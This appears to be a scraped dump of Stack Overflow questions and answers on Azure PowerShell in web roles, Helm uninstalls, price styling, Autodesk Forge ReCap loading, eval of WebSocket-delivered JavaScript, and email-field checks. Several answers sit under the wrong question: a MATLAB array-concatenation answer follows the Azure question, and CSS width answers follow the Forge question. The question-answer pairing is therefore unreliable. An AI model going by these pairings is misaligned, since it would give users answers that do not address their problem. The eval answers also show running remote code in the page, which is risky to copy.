I don't think it makes much of a performance difference either way. But for clarity I would suggest using a `Enums` or `static final` variables since you already know all the possible codes before hand. A HashMap would be good if you needed to add/remove data dynamically but that doesn't apply in this case.
I think that you can define your own response object like this: ``` class Response{ int status; String msg; } ```
16,196,184
I have a VS 2012 MVC 4 web role project and I successfully call a powershell script from the bin directory of the role, after I run `Set-ExecutionPolicy Unrestricted` from a startup cmd. The script contains some azure cmdlets and when I run the project locally the script works perfectly. However when I publish the project on Azure, the same azure cmdlets in the script do not run. For example: ``` param([string]$websiteName="itudkcloudqwerdfs", [string]$serverLogin="user", [string]$serverPass="paSS123!@#", [string]$location="North Europe") # Create new Website # $website = New-AzureWebsite -Location $location -Name $websiteName if ($website -eq $null) { throw "Website creation error" exit } ``` creates an Azure website successfully when run locally but throws and exits when published and run from the cloud service. Of course I googled around for a solution and I found that I have to pre-install Azure Powershell to the Web Role in order to run Azure cmdlets there. To do that, I installed the web platform installer 4.5, copied its command line tool executable with the Microsoft.Web.PlatformInstaller dll and my Azure publishsettings file to my Web Role's bin folder and I created a cmd that installs the Azure Powershell from webpicmd to a special folder in the Web Role's bin directory and imports my publishsettings file on Web Role startup: ``` md "%~dp0appdata" cd "%~dp0appdata" cd.. reg add "hku\.default\software\microsoft\windows\currentversion\explorer\user shell folders" /v "Local AppData" /t REG_EXPAND_SZ /d "%~dp0appdata" /f "%~dp0\WebpiCmd.exe" /Install /AcceptEula /Products:WindowsAzurePowershell /log:%~dp0WindowsAzurePowershell.log reg add "hku\.default\software\microsoft\windows\currentversion\explorer\user shell folders" /v "Local AppData" /t REG_EXPAND_SZ /d %%USERPROFILE%%\AppData\Local /f powershell Import-AzurePublishSettingsFile exit /b 0 ``` It still didn't work, so I remotely logged in to the instance to see for myself what could be wrong. I tried to run the cmd script above and it required the .NET Framework 3.5 feature enabled, which looks weird to me since the instance already has the .NET 4.5 feature enabled by default (Windows Server 2012). Anyway, I enabled it from the server manager and the script ran successfully with no errors. I opened the powershell and I tested some Azure cmdlets and they worked. However, even after that, when I invoke the script again from the web app, it still doesn't run the azure cmdlets and exits. What am I missing? And why does webpicmd requires the .NET 3.5 feature? Is there an alternative solution to this? **Update:** After Gaurav's comment, I added this into my servicedefinition.csdef under the WebRole tag to run the webrole in an elevated execution context but the azure cmdlets are still not running in the script: ``` <Runtime executionContext="elevated" /> ``` **Update:** Here's the C# code that invokes the script ```cs //create command string path = HttpContext.Server.MapPath("/bin/InitializeResources.ps1"); PSCommand cmd = new PSCommand(); cmd.AddCommand(path); cmd.AddParameter("websiteName", websiteName); cmd.AddParameter("serverLogin", username); cmd.AddParameter("serverPass", password); cmd.AddParameter("location", location); //set the command into a powershell object and invoke it Runspace runspace = RunspaceFactory.CreateRunspace(); PowerShell ps = PowerShell.Create(); ps.Commands = cmd; try { runspace.Open(); RunspaceInvoke runSpaceInvoker = new RunspaceInvoke(runspace); runSpaceInvoker.Invoke("Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -Force"); ps.Runspace = runspace; Collection<PSObject> commandResults = ps.Invoke(); //save results WebsiteInfo websiteInfo = new WebsiteInfo(); foreach (PSObject result in commandResults) { websiteInfo.Connectionstring = (string)result.Members["ConnectionString"].Value; websiteInfo.WebsiteURL = (string)result.Members["WebsiteUrl"].Value; websiteInfo.ftpUrl = (string)result.Members["SelfLink"].Value; websiteInfo.ftpUrl = websiteInfo.ftpUrl.Substring(8); int index = websiteInfo.ftpUrl.IndexOf(":"); if (index > 0) websiteInfo.ftpUrl = websiteInfo.ftpUrl.Substring(0, index); websiteInfo.ftpUrl = websiteInfo.ftpUrl.Replace("api", "ftp"); websiteInfo.publishUsername = (string)result.Members["Repository"].Value + "\\" + (string)result.Members["PublishUsername"].Value; websiteInfo.publishPassword = (string)result.Members["PublishPassword"].Value; } runspace.Dispose(); runspace = null; ps.Dispose(); ps = null; } ```
2013/04/24
[ "https://Stackoverflow.com/questions/16196184", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1981086/" ]
From a quick look at line 178 of your code, it looks like you're concatenating an Nx2 array with `p`, and then concatenating that with `s`, where sometimes N is defined as `length(p)`, sometimes as `size(s,1)` and sometimes as something called `tmp`. I'm not going to debug this, but I would suggest that to do so you should modify your code so that before line 178 it displays, or somehow outputs, the values of `N`, `p`, `s` and `tmp`. This will give you an idea of why they can't be concatenated - I'm guessing that they have different dimensions. I'd also suggest: 1. Stop using `length`, and use either `numel` or `size` consistently. `length` gives you the same answer if its input is 10x1 or 1x10, and is not the right thing to use to check the dimensions of an array before concatenating. 2. Stop putting multiple statements on a single line, especially complete `if` statements. If there's an error, you don't know which statement caused it. 3. Improve your variable naming. It's not surprising this is tough to debug when you have variables called `A`, `a`, `s`, `ss`, `as`, `r`, `R`, `rp`, `p`, `E`, `e`, `ee`, `idx`, `ind1`, `ind1s`, `ind1e`, `ind2s`, `ind2e` and `tmpidx`. It makes my head hurt to read through it.
The problem was with the argument P must not be an array (as is on the website input) but instead, a scalar.
70,052,368
I have situation where I am deploying some chart, let's call it "myChart". Let's suppose I have a pipeline, where I am doing below: ``` helm delete myChart_1.2 -n <myNamespace> ``` An **right after** I am installing new one: ``` helm delete myChart_1.3 -n <myNamespace> ``` Does Kubernetes or maybe Helm knows that all the resources should be deleted first and then install new? For instance there might be some PVC and PV that are still not deleted. Is there any problem with that, should I add some waits before deployment?
2021/11/21
[ "https://Stackoverflow.com/questions/70052368", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7313637/" ]
Helm delete (aka. uninstall) should remove the objects managed in a given deployment, before exiting. Still, when the command returns: you could be left with resources in a Terminating state, pending actual deletion. Usually, we could find about PVC, that may still be attached to a running container. Or objects such as ReplicaSet or Pods -- most likely, your Helm chart installs Deployments, DaemonSets, StatefulSets, ... top-level objects may appear to be deleted, while their child objects are still being terminated. Although this shouldn't be an issue for Helm, assuming that your application is installed using a generated name, and as long as your chart is able to create multiple instances of a same application, in a same cluster/namespace, ... without them overlapping ( => if all resources managed through Helm have unique names, which is not always the case ). If your chart is hosted on a public repository, let us know what to check. And if you're not one of the maintainer for that chart: beware that Helm charts could go from amazing to very bad, depending on who's contributing, what use cases have been met so far, ...
**Kubernetes (and Helm by extension) will never clean up PVCs that have been created as part of StatefulSets.** This is intentional (see relevant [documentation](https://kubernetes.io/docs/tasks/run-application/delete-stateful-set/#persistent-volumes)) to avoid accidental loss of data. Therefore, if you do have PVCs created from StatefulSets in your chart and if your pipeline re-installs your Helm chart under the same name, ensure that PVCs are deleted explicitly after running "helm delete", e.g. with a separate "kubectl delete" command.
4,914,446
I'm developing a website and in some pages of this website there are some services coupled with their related prices (I'm using WordPress as CMS). I would to color in a different manner all the prices and I would to know if exists some automatic way to do this, for example using Javascript or simply using a specific CSS rule. The alternative could be insert manually all the prices in an html tag like "`<span class='price'>...</span>`" but for me it would me a bad and boring way ;-) Thanks
2011/02/06
[ "https://Stackoverflow.com/questions/4914446", "https://Stackoverflow.com", "https://Stackoverflow.com/users/343201/" ]
Your HTML is actually a mess where things are very difficult to trace back. Each paragraph seems to have its own div - that's a no-no, the p tag exists for a reason. Also, all of these divs have no way to be identified individually, meaning that you can never get to the one you need. The best way here, honestly, is just to put that span around every price you find. You could always track down all the strong elements since only they are used next to prices, but it could bug out other uses of strong tags elsewhere (if you ever have any). Since it doesn't seem like CSS has a way to find the parent element, you would have to do this through JS anyway: ``` var pricedivs = document.getElementsByTagName("strong"); for (var i = 0; i < pricedivs.length; i++) { pricedivs[i].parentNode.className = "price"; } ``` And associated CSS: ``` .price { color: red; } .price strong { color: black; } /* We only want the text beside the strong tag, so set the style back */ ``` The effect is that all text that is around text with a strong tag will be colored red.
Is there any code you could share so we can see your situation? As long as the prices are separated in any way from the rest, you can make a CSS entry for it. Also, using JS to format a page isn't recommended and you should not do it unless you really can't find any other way to access the exact part of the page you need. EDIT: I guess what you could do is search for any numbers in the text using JS, and wrap that span around it. Then the CSS will do the rest. However, this may be expensive if you're not careful where you're searching for the text, and the numbers wouldn't color for anyone who has JS disabled.
4,914,446
I'm developing a website and in some pages of this website there are some services coupled with their related prices (I'm using WordPress as CMS). I would to color in a different manner all the prices and I would to know if exists some automatic way to do this, for example using Javascript or simply using a specific CSS rule. The alternative could be insert manually all the prices in an html tag like "`<span class='price'>...</span>`" but for me it would me a bad and boring way ;-) Thanks
2011/02/06
[ "https://Stackoverflow.com/questions/4914446", "https://Stackoverflow.com", "https://Stackoverflow.com/users/343201/" ]
Your HTML is actually a mess where things are very difficult to trace back. Each paragraph seems to have its own div - that's a no-no, the p tag exists for a reason. Also, all of these divs have no way to be identified individually, meaning that you can never get to the one you need. The best way here, honestly, is just to put that span around every price you find. You could always track down all the strong elements since only they are used next to prices, but it could bug out other uses of strong tags elsewhere (if you ever have any). Since it doesn't seem like CSS has a way to find the parent element, you would have to do this through JS anyway: ``` var pricedivs = document.getElementsByTagName("strong"); for (var i = 0; i < pricedivs.length; i++) { pricedivs[i].parentNode.className = "price"; } ``` And associated CSS: ``` .price { color: red; } .price strong { color: black; } /* We only want the text beside the strong tag, so set the style back */ ``` The effect is that all text that is around text with a strong tag will be colored red.
I do an example. In this page <http://www.3jolieistitutodibellezza.it/corpo-donna/> the prices are in a structure like this: ``` <div><strong>Polyglyco Pell:</strong> 25,00</div><div>A base di Poli Idrossiacidi e Alfa Idrossiacidi, favorisce l&#8217;eliminazione delle cellule morte, agevola il turnover cellulare, dona turgore e levigatezza</div><div>al tessuto. Indicato per pelli spesse, ipercheratosiche, favorisce la riduzione delle smagliature di recente formazione.</div> ``` Without using JS maybe it's impossible to find the prices and to color them. Probably the only easy way to color the prices is to add a class attribute to div containers that contain the prices and to apply a simple CSS rule. What do you think about it ?
73,329,077
I have a web project (React) using the Autodesk Forge Viewer to display 3D (& 2D) models from our Enterprise BIM360 account. Since last year, the same viewer running within BIM360 is now supporting `.rcp` files, we would like to allow it as well. But I couldnt make it to work so far, and I have not found any documentation specific to `.rcp` support. My current viewer initialization is as follow. It's mostly standard code from documentation and it works fine with 3D models. ``` const options: Autodesk.Viewing.InitializerOptions = { getAccessToken: (callback) => callback(token.accessToken, token.expiresIn), loaderExtensions: { svf: "Autodesk.MemoryLimited" } }; Autodesk.Viewing.Initializer(options, () => { const viewer = new Autodesk.Viewing.GuiViewer3D(ref.current); var startedCode = viewerObject.start(); if (startedCode > 0) { onError('Error - Failed to create a Viewer: WebGL not supported.'); return; } //urn is Base64 Autodesk.Viewing.Document.load(urn, onDocumentLoadSuccess, onDocumentLoadError); }); ``` I naively tried to give it the Base34 urn of an `.rcp` file without success. Looking at the network, I can see a `400 Bad Request` on a manifest request ([https://cdn.derivative.autodesk.com/derivativeservice/v2/manifest/{urn}?domain=http%3A%2F%2Flocalhost%3A6006](https://cdn.derivative.autodesk.com/derivativeservice/v2/manifest/%7Burn%7D?domain=http%3A%2F%2Flocalhost%3A6006)). it feels like `Document.load()` code only works for `.svf` format which has a manifest but `.rcp` don't? Going through <https://lmv.ninja.autodesk.com> samples, I realized the `.rcp` files can be loaded using the following code: ``` viewer.loadModel(url, {}, onModalLoadSuccess,onModelLoadError); viewer.loadExtension('Autodesk.ReCap') ``` which I got to work with the sample file: <https://s3.amazonaws.com/lmv.models/recap_models/AutodeskReCapSampleProject.rcp> However, it does not work with a private link from our BIM360 account. Looking at the network, I can see the requests returning with a `401 Unauthorized`. Sadly my access token is not added to the headers. A bug? Or am I missing something? ``` POST https://developer.api.autodesk.com/oss/v2/buckets/wip.dm.prod/objects/{guid}.rcp 401 Unauthorized { "developerMessage":"Token is not provided in the request.", "moreInfo": "https://forge.autodesk.com/en/docs/oauth/v2/developers_guide/error_handling/", "errorCode": "AUTH-010" } ``` I tried to see how lmv.ninja would do it from a BIM360 model but I can't go through the login step. It keep redirect me to the default page without logging me in. Clearly looks like another bug to me. Note: I have updated the viewer library to latest ``` https://autodeskviewer.com/viewers/latest/viewer3D.min.js https://autodeskviewer.com/viewers/latest/extensions/ReCap/ReCap.min.js https://autodeskviewer.com/viewers/latest/lmvworker.min.js ``` Thanks for the help Clement
2022/08/12
[ "https://Stackoverflow.com/questions/73329077", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12744494/" ]
The property you are accessing is for the inline style attribute. If you had the following markup you would get the value `100px` ``` <div id='wk'> <div id='bk' style="width: 100px;"></div> </div> ``` To get the actual width of the element use [getBoundingClientRect()](https://developer.mozilla.org/en-US/docs/Web/API/Element/getBoundingClientRect) ``` document.getElementById("bk").getBoundingClientRect().width ```
Try this : ``` document.querySelector("div.bk").style.width ```
73,329,077
I have a web project (React) using the Autodesk Forge Viewer to display 3D (& 2D) models from our Enterprise BIM360 account. Since last year, the same viewer running within BIM360 is now supporting `.rcp` files, we would like to allow it as well. But I couldnt make it to work so far, and I have not found any documentation specific to `.rcp` support. My current viewer initialization is as follow. It's mostly standard code from documentation and it works fine with 3D models. ``` const options: Autodesk.Viewing.InitializerOptions = { getAccessToken: (callback) => callback(token.accessToken, token.expiresIn), loaderExtensions: { svf: "Autodesk.MemoryLimited" } }; Autodesk.Viewing.Initializer(options, () => { const viewer = new Autodesk.Viewing.GuiViewer3D(ref.current); var startedCode = viewerObject.start(); if (startedCode > 0) { onError('Error - Failed to create a Viewer: WebGL not supported.'); return; } //urn is Base64 Autodesk.Viewing.Document.load(urn, onDocumentLoadSuccess, onDocumentLoadError); }); ``` I naively tried to give it the Base34 urn of an `.rcp` file without success. Looking at the network, I can see a `400 Bad Request` on a manifest request ([https://cdn.derivative.autodesk.com/derivativeservice/v2/manifest/{urn}?domain=http%3A%2F%2Flocalhost%3A6006](https://cdn.derivative.autodesk.com/derivativeservice/v2/manifest/%7Burn%7D?domain=http%3A%2F%2Flocalhost%3A6006)). it feels like `Document.load()` code only works for `.svf` format which has a manifest but `.rcp` don't? Going through <https://lmv.ninja.autodesk.com> samples, I realized the `.rcp` files can be loaded using the following code: ``` viewer.loadModel(url, {}, onModalLoadSuccess,onModelLoadError); viewer.loadExtension('Autodesk.ReCap') ``` which I got to work with the sample file: <https://s3.amazonaws.com/lmv.models/recap_models/AutodeskReCapSampleProject.rcp> However, it does not work with a private link from our BIM360 account. Looking at the network, I can see the requests returning with a `401 Unauthorized`. Sadly my access token is not added to the headers. A bug? Or am I missing something? ``` POST https://developer.api.autodesk.com/oss/v2/buckets/wip.dm.prod/objects/{guid}.rcp 401 Unauthorized { "developerMessage":"Token is not provided in the request.", "moreInfo": "https://forge.autodesk.com/en/docs/oauth/v2/developers_guide/error_handling/", "errorCode": "AUTH-010" } ``` I tried to see how lmv.ninja would do it from a BIM360 model but I can't go through the login step. It keep redirect me to the default page without logging me in. Clearly looks like another bug to me. Note: I have updated the viewer library to latest ``` https://autodeskviewer.com/viewers/latest/viewer3D.min.js https://autodeskviewer.com/viewers/latest/extensions/ReCap/ReCap.min.js https://autodeskviewer.com/viewers/latest/lmvworker.min.js ``` Thanks for the help Clement
2022/08/12
[ "https://Stackoverflow.com/questions/73329077", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12744494/" ]
you can also try jQuery ``` $("bk").width() ```
Try this : ``` document.querySelector("div.bk").style.width ```
73,329,077
I have a web project (React) using the Autodesk Forge Viewer to display 3D (& 2D) models from our Enterprise BIM360 account. Since last year, the same viewer running within BIM360 is now supporting `.rcp` files, we would like to allow it as well. But I couldnt make it to work so far, and I have not found any documentation specific to `.rcp` support. My current viewer initialization is as follow. It's mostly standard code from documentation and it works fine with 3D models. ``` const options: Autodesk.Viewing.InitializerOptions = { getAccessToken: (callback) => callback(token.accessToken, token.expiresIn), loaderExtensions: { svf: "Autodesk.MemoryLimited" } }; Autodesk.Viewing.Initializer(options, () => { const viewer = new Autodesk.Viewing.GuiViewer3D(ref.current); var startedCode = viewerObject.start(); if (startedCode > 0) { onError('Error - Failed to create a Viewer: WebGL not supported.'); return; } //urn is Base64 Autodesk.Viewing.Document.load(urn, onDocumentLoadSuccess, onDocumentLoadError); }); ``` I naively tried to give it the Base34 urn of an `.rcp` file without success. Looking at the network, I can see a `400 Bad Request` on a manifest request ([https://cdn.derivative.autodesk.com/derivativeservice/v2/manifest/{urn}?domain=http%3A%2F%2Flocalhost%3A6006](https://cdn.derivative.autodesk.com/derivativeservice/v2/manifest/%7Burn%7D?domain=http%3A%2F%2Flocalhost%3A6006)). it feels like `Document.load()` code only works for `.svf` format which has a manifest but `.rcp` don't? Going through <https://lmv.ninja.autodesk.com> samples, I realized the `.rcp` files can be loaded using the following code: ``` viewer.loadModel(url, {}, onModalLoadSuccess,onModelLoadError); viewer.loadExtension('Autodesk.ReCap') ``` which I got to work with the sample file: <https://s3.amazonaws.com/lmv.models/recap_models/AutodeskReCapSampleProject.rcp> However, it does not work with a private link from our BIM360 account. Looking at the network, I can see the requests returning with a `401 Unauthorized`. Sadly my access token is not added to the headers. A bug? Or am I missing something? ``` POST https://developer.api.autodesk.com/oss/v2/buckets/wip.dm.prod/objects/{guid}.rcp 401 Unauthorized { "developerMessage":"Token is not provided in the request.", "moreInfo": "https://forge.autodesk.com/en/docs/oauth/v2/developers_guide/error_handling/", "errorCode": "AUTH-010" } ``` I tried to see how lmv.ninja would do it from a BIM360 model but I can't go through the login step. It keep redirect me to the default page without logging me in. Clearly looks like another bug to me. Note: I have updated the viewer library to latest ``` https://autodeskviewer.com/viewers/latest/viewer3D.min.js https://autodeskviewer.com/viewers/latest/extensions/ReCap/ReCap.min.js https://autodeskviewer.com/viewers/latest/lmvworker.min.js ``` Thanks for the help Clement
2022/08/12
[ "https://Stackoverflow.com/questions/73329077", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12744494/" ]
The property you are accessing is for the inline style attribute. If you had the following markup you would get the value `100px` ``` <div id='wk'> <div id='bk' style="width: 100px;"></div> </div> ``` To get the actual width of the element use [getBoundingClientRect()](https://developer.mozilla.org/en-US/docs/Web/API/Element/getBoundingClientRect) ``` document.getElementById("bk").getBoundingClientRect().width ```
you can also try jQuery ``` $("bk").width() ```
5,820,650
I am playing around with WebSockets at the moment, and I would like to have the following design pattern. Connect to my websocket on a server, the server sends JavaScript to the browser to inform it how to interact with the user. I found the JQuery method getScript, which loads a script in the background, and executes it on load. I want to do a similar thing, but on the message received from the Websocket. So, basically, what I want to do is... ``` // Create a socket var socket = new WebSocket('myURL') // Message received on the socket socket.onmessage = function(event) { executeJS(event.data); } ``` What code would I need to replace executeJS to get this javascript to fire? Is it possible? I suppose this question is not directly related to javascript, but how do I take a piece of text and execute it as Javascript.
2011/04/28
[ "https://Stackoverflow.com/questions/5820650", "https://Stackoverflow.com", "https://Stackoverflow.com/users/449856/" ]
Since you're using jQuery, you can use [`jQuery.globalEval`](http://api.jquery.com/jQuery.globalEval/). Alternately you could use `eval`, but `globalEval` has some advantages in terms of the context in which it runs.
The function you are looking for is `eval()`. Please don't forget that it sounds like `evil` for a reason ;)
5,820,650
I am playing around with WebSockets at the moment, and I would like to have the following design pattern. Connect to my websocket on a server, the server sends JavaScript to the browser to inform it how to interact with the user. I found the JQuery method getScript, which loads a script in the background, and executes it on load. I want to do a similar thing, but on the message received from the Websocket. So, basically, what I want to do is... ``` // Create a socket var socket = new WebSocket('myURL') // Message received on the socket socket.onmessage = function(event) { executeJS(event.data); } ``` What code would I need to replace executeJS to get this javascript to fire? Is it possible? I suppose this question is not directly related to javascript, but how do I take a piece of text and execute it as Javascript.
2011/04/28
[ "https://Stackoverflow.com/questions/5820650", "https://Stackoverflow.com", "https://Stackoverflow.com/users/449856/" ]
Since you're using jQuery, you can use [`jQuery.globalEval`](http://api.jquery.com/jQuery.globalEval/). Alternately you could use `eval`, but `globalEval` has some advantages in terms of the context in which it runs.
While it's use is generally frowned upon, the [eval()](http://www.devguru.com/technologies/ecmascript/quickref/eval.html) function would suit your needs here, depending on the complexity of the returned code.
5,820,650
I am playing around with WebSockets at the moment, and I would like to have the following design pattern. Connect to my websocket on a server, the server sends JavaScript to the browser to inform it how to interact with the user. I found the JQuery method getScript, which loads a script in the background, and executes it on load. I want to do a similar thing, but on the message received from the Websocket. So, basically, what I want to do is... ``` // Create a socket var socket = new WebSocket('myURL') // Message received on the socket socket.onmessage = function(event) { executeJS(event.data); } ``` What code would I need to replace executeJS to get this javascript to fire? Is it possible? I suppose this question is not directly related to javascript, but how do I take a piece of text and execute it as Javascript.
2011/04/28
[ "https://Stackoverflow.com/questions/5820650", "https://Stackoverflow.com", "https://Stackoverflow.com/users/449856/" ]
Since you're using jQuery, you can use [`jQuery.globalEval`](http://api.jquery.com/jQuery.globalEval/). Alternately you could use `eval`, but `globalEval` has some advantages in terms of the context in which it runs.
You are looking for the `eval` function: <http://www.w3schools.com/jsref/jsref_eval.asp> But be careful, this means that potentially unsafe JavaScript code can be executed.
5,820,650
I am playing around with WebSockets at the moment, and I would like to have the following design pattern. Connect to my websocket on a server, the server sends JavaScript to the browser to inform it how to interact with the user. I found the JQuery method getScript, which loads a script in the background, and executes it on load. I want to do a similar thing, but on the message received from the Websocket. So, basically, what I want to do is... ``` // Create a socket var socket = new WebSocket('myURL') // Message received on the socket socket.onmessage = function(event) { executeJS(event.data); } ``` What code would I need to replace executeJS to get this javascript to fire? Is it possible? I suppose this question is not directly related to javascript, but how do I take a piece of text and execute it as Javascript.
2011/04/28
[ "https://Stackoverflow.com/questions/5820650", "https://Stackoverflow.com", "https://Stackoverflow.com/users/449856/" ]
Since you're using jQuery, you can use [`jQuery.globalEval`](http://api.jquery.com/jQuery.globalEval/). Alternately you could use `eval`, but `globalEval` has some advantages in terms of the context in which it runs.
eval function evaluates code in *local scope*, for those code which should be evaluated in *global scope*, use *indirect eval*, a best way to call indirect eval is: ``` (1, eval)(yourCode); ``` There is also some other choice to execute code dynamically: Also it is a good choice to use dynamic script element: ``` var script = document.createElement('script'); // detect browser or feature first, only one of these should be used // for IE script.text = yourCode; // for other browser script.appendChild(document.createTextNode(yourCode)); var head = document.head || document.getElementsByTagName('head')[0]; head.insertBefore(head, head.lastChild); ```
5,820,650
I am playing around with WebSockets at the moment, and I would like to have the following design pattern. Connect to my websocket on a server, the server sends JavaScript to the browser to inform it how to interact with the user. I found the JQuery method getScript, which loads a script in the background, and executes it on load. I want to do a similar thing, but on the message received from the Websocket. So, basically, what I want to do is... ``` // Create a socket var socket = new WebSocket('myURL') // Message received on the socket socket.onmessage = function(event) { executeJS(event.data); } ``` What code would I need to replace executeJS to get this javascript to fire? Is it possible? I suppose this question is not directly related to javascript, but how do I take a piece of text and execute it as Javascript.
2011/04/28
[ "https://Stackoverflow.com/questions/5820650", "https://Stackoverflow.com", "https://Stackoverflow.com/users/449856/" ]
The function you are looking for is `eval()`. Please don't forget that it sounds like `evil` for a reason ;)
While it's use is generally frowned upon, the [eval()](http://www.devguru.com/technologies/ecmascript/quickref/eval.html) function would suit your needs here, depending on the complexity of the returned code.
5,820,650
I am playing around with WebSockets at the moment, and I would like to have the following design pattern. Connect to my websocket on a server, the server sends JavaScript to the browser to inform it how to interact with the user. I found the JQuery method getScript, which loads a script in the background, and executes it on load. I want to do a similar thing, but on the message received from the Websocket. So, basically, what I want to do is... ``` // Create a socket var socket = new WebSocket('myURL') // Message received on the socket socket.onmessage = function(event) { executeJS(event.data); } ``` What code would I need to replace executeJS to get this javascript to fire? Is it possible? I suppose this question is not directly related to javascript, but how do I take a piece of text and execute it as Javascript.
2011/04/28
[ "https://Stackoverflow.com/questions/5820650", "https://Stackoverflow.com", "https://Stackoverflow.com/users/449856/" ]
The function you are looking for is `eval()`. Please don't forget that it sounds like `evil` for a reason ;)
You are looking for the `eval` function: <http://www.w3schools.com/jsref/jsref_eval.asp> But be careful, this means that potentially unsafe JavaScript code can be executed.
5,820,650
I am playing around with WebSockets at the moment, and I would like to have the following design pattern. Connect to my websocket on a server, the server sends JavaScript to the browser to inform it how to interact with the user. I found the JQuery method getScript, which loads a script in the background, and executes it on load. I want to do a similar thing, but on the message received from the Websocket. So, basically, what I want to do is... ``` // Create a socket var socket = new WebSocket('myURL') // Message received on the socket socket.onmessage = function(event) { executeJS(event.data); } ``` What code would I need to replace executeJS to get this javascript to fire? Is it possible? I suppose this question is not directly related to javascript, but how do I take a piece of text and execute it as Javascript.
2011/04/28
[ "https://Stackoverflow.com/questions/5820650", "https://Stackoverflow.com", "https://Stackoverflow.com/users/449856/" ]
The function you are looking for is `eval()`. Please don't forget that it sounds like `evil` for a reason ;)
eval function evaluates code in *local scope*, for those code which should be evaluated in *global scope*, use *indirect eval*, a best way to call indirect eval is: ``` (1, eval)(yourCode); ``` There is also some other choice to execute code dynamically: Also it is a good choice to use dynamic script element: ``` var script = document.createElement('script'); // detect browser or feature first, only one of these should be used // for IE script.text = yourCode; // for other browser script.appendChild(document.createTextNode(yourCode)); var head = document.head || document.getElementsByTagName('head')[0]; head.insertBefore(head, head.lastChild); ```
5,820,650
I am playing around with WebSockets at the moment, and I would like to have the following design pattern. Connect to my websocket on a server, the server sends JavaScript to the browser to inform it how to interact with the user. I found the JQuery method getScript, which loads a script in the background, and executes it on load. I want to do a similar thing, but on the message received from the Websocket. So, basically, what I want to do is... ``` // Create a socket var socket = new WebSocket('myURL') // Message received on the socket socket.onmessage = function(event) { executeJS(event.data); } ``` What code would I need to replace executeJS to get this javascript to fire? Is it possible? I suppose this question is not directly related to javascript, but how do I take a piece of text and execute it as Javascript.
2011/04/28
[ "https://Stackoverflow.com/questions/5820650", "https://Stackoverflow.com", "https://Stackoverflow.com/users/449856/" ]
While it's use is generally frowned upon, the [eval()](http://www.devguru.com/technologies/ecmascript/quickref/eval.html) function would suit your needs here, depending on the complexity of the returned code.
You are looking for the `eval` function: <http://www.w3schools.com/jsref/jsref_eval.asp> But be careful, this means that potentially unsafe JavaScript code can be executed.
5,820,650
I am playing around with WebSockets at the moment, and I would like to have the following design pattern. Connect to my websocket on a server, the server sends JavaScript to the browser to inform it how to interact with the user. I found the JQuery method getScript, which loads a script in the background, and executes it on load. I want to do a similar thing, but on the message received from the Websocket. So, basically, what I want to do is... ``` // Create a socket var socket = new WebSocket('myURL') // Message received on the socket socket.onmessage = function(event) { executeJS(event.data); } ``` What code would I need to replace executeJS to get this javascript to fire? Is it possible? I suppose this question is not directly related to javascript, but how do I take a piece of text and execute it as Javascript.
2011/04/28
[ "https://Stackoverflow.com/questions/5820650", "https://Stackoverflow.com", "https://Stackoverflow.com/users/449856/" ]
eval function evaluates code in *local scope*, for those code which should be evaluated in *global scope*, use *indirect eval*, a best way to call indirect eval is: ``` (1, eval)(yourCode); ``` There is also some other choice to execute code dynamically: Also it is a good choice to use dynamic script element: ``` var script = document.createElement('script'); // detect browser or feature first, only one of these should be used // for IE script.text = yourCode; // for other browser script.appendChild(document.createTextNode(yourCode)); var head = document.head || document.getElementsByTagName('head')[0]; head.insertBefore(head, head.lastChild); ```
While it's use is generally frowned upon, the [eval()](http://www.devguru.com/technologies/ecmascript/quickref/eval.html) function would suit your needs here, depending on the complexity of the returned code.
5,820,650
I am playing around with WebSockets at the moment, and I would like to have the following design pattern. Connect to my websocket on a server, the server sends JavaScript to the browser to inform it how to interact with the user. I found the JQuery method getScript, which loads a script in the background, and executes it on load. I want to do a similar thing, but on the message received from the Websocket. So, basically, what I want to do is... ``` // Create a socket var socket = new WebSocket('myURL') // Message received on the socket socket.onmessage = function(event) { executeJS(event.data); } ``` What code would I need to replace executeJS to get this javascript to fire? Is it possible? I suppose this question is not directly related to javascript, but how do I take a piece of text and execute it as Javascript.
2011/04/28
[ "https://Stackoverflow.com/questions/5820650", "https://Stackoverflow.com", "https://Stackoverflow.com/users/449856/" ]
eval function evaluates code in *local scope*, for those code which should be evaluated in *global scope*, use *indirect eval*, a best way to call indirect eval is: ``` (1, eval)(yourCode); ``` There is also some other choice to execute code dynamically: Also it is a good choice to use dynamic script element: ``` var script = document.createElement('script'); // detect browser or feature first, only one of these should be used // for IE script.text = yourCode; // for other browser script.appendChild(document.createTextNode(yourCode)); var head = document.head || document.getElementsByTagName('head')[0]; head.insertBefore(head, head.lastChild); ```
You are looking for the `eval` function: <http://www.w3schools.com/jsref/jsref_eval.asp> But be careful, this means that potentially unsafe JavaScript code can be executed.
46,809,066
I am new to Relay and am trying to put together my first app. I already have a GraphQL server (using Graphene) that is backed by a PostgreSQL DB via SQLAlchemy automap, and published as a Flask app. Now, I'm trying to put together the front end, and it looks like the relay-compiler is expecting a GraphQL schema file on the client-side. I'm wondering if there is a way to have this schema file be dynamically auto generated, and how that could be set up. I'm using <https://github.com/kriasoft/react-static-boilerplate> as the starting point for my app. Thanks.
2017/10/18
[ "https://Stackoverflow.com/questions/46809066", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3038643/" ]
After browsing around the Graphene codebase I found schema\_printer in the utils module of graphql-python that gets the job done for me: ``` import json from schema import schema import sys from graphql.utils import schema_printer my_schema_str = schema_printer.print_schema(schema) fp = open("schema.graphql", "w") fp.write(my_schema_str) fp.close() ```
For me, <https://docs.graphene-python.org/projects/django/en/latest/introspection/> was helpful. In my case schema was defined in the schema.py file of apiApp, and so the command to retrieve schema.json was as following. ``` ./manage.py graphql_schema --schema apiApp.schema.schema --out schema.json ```
33,334,624
I'm very new to JavaScript, and I am a little confused. How do I check if my input field: ``` <form name='formular' method='post' onsubmit='return atcheck()'> E-mail <input type='text' name='email' id='em'> <input type='submit' value='Submit'> </form> ``` contains the symbol "@"? I'm not looking for a full good e-mail validation, I just wanna check if the field contains that symbol in particular when submitted (in the atcheck() function).
2015/10/25
[ "https://Stackoverflow.com/questions/33334624", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5428297/" ]
``` <script language="Javascript"> function atcheck(){ if(document.getElementById('em').value.indexOf('@') === -1) { // No @ in string return false; } else { // @ in string return true; } } </script> ```
